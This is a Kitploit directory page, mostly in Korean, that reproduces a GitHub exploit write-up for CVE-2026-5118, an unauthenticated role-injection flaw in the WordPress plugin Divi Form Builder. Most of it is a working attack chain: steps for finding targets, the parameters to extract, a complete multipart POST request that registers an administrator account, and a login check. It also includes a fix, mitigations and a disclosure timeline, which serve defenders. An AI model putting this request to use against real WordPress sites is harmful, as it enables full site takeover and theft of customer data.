Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 인증되지 않은 역할 주입을 통한 권한 상승 | Kitploit
도구/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 인증되지 않은 역할 주입을 통한 권한 상승

저장소 보기
53개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — 인증되지 않은 권한 상승


🎯 요약

WordPress 플러그인 Divi Form Builder 5.1.2 및 이전 버전에는 인증되지 않은 공격자가 등록 양식을 통해 Administrator 계정을 직접 생성할 수 있는 Critical 취약점이 있습니다.

숨겨진 필드 하나. 변경된 값 하나. 전체 웹사이트에 대한 완전한 액세스.


🧨 공격자가 할 수 있는 일

능력영향
🔑 로그인 없이 관리자 계정 생성전체 사이트 장악
📦 WooCommerce 고객 데이터 액세스데이터 유출
💉 플러그인/테마 파일(PHP) 편집원격 코드 실행
🕳️ 숨겨진 백도어 생성지속적 액세스
👥 모든 사용자 데이터 열람개인정보 침해

🔬 취약점 분석

취약점 위치

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

취약한 코드

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

이것이 성공하는 이유?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

공격 벡터

DFB 등록 양식에는 hidden input이 포함되어 있습니다:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — 공격 체인

1단계: 정찰 — 대상 탐색

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

2단계: 양식 매개변수 추출

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

3단계: 역할 주입 — 권한 상승

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

4단계: 검증 — 관리자 액세스

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 실험실 검증

테스트는 격리된 Docker 환경(WordPress 6.5 + DFB v5.0.0)에서 수행되었습니다:

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 권장 수정 사항

해결 방법: 역할 등록 허용 목록

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

추가 조치

  1. 프런트엔드 양식에서 role 매개변수 제거 — 이미 존재하는 default_user_role 사용
  2. AJAX 핸들러에 엄격한 nonce verification 추가
  3. 특수 역할에 대한 capability check current_user_can('create_users') 추가
  4. 등록 엔드포인트에 rate limiting 적용하여 무차별 대입 공격 방지

📊 타임라인

날짜이벤트
2026-04-135.1.3 버전 출시 (changelog 기준 수정 가능성)
2026-05-21격리된 실험실에서 취약점 독립 검증
2026-05-21Divi Engine Security에 책임 있는 공개(Responsible disclosure) 전송

🛡️ 임시 완화 조치 (패치 전)

  1. 가능하면 5.1.3+ 버전으로 업데이트
  2. 수정 사항이 적용될 때까지 DFB 등록 양식 비활성화
  3. POST 요청에서 role=administrator 매개변수를 차단하는 WAF 규칙 사용
  4. 알 수 없는 새 관리자 계정이 없는지 wp_users 테이블 모니터링
  5. /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler 액세스 제한

⚖️ 면책 조항

이 문서는 교육 및 책임 있는 공개(responsible disclosure) 목적으로 작성되었습니다. 모든 악용 테스트는 격리된 실험실 환경에서 수행되었습니다. 실제 대상에 대해서는 수동적 탐지(양식 및 매개변수 식별, 악용 데이터 전송 없음)만 수행되었습니다.

저자는 이 문서의 정보를 악용한 행위에 대해 책임을 지지 않습니다.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • 인증되지 않은 권한 상승
발견 및 검증: 2026-05-21

도구 다운로드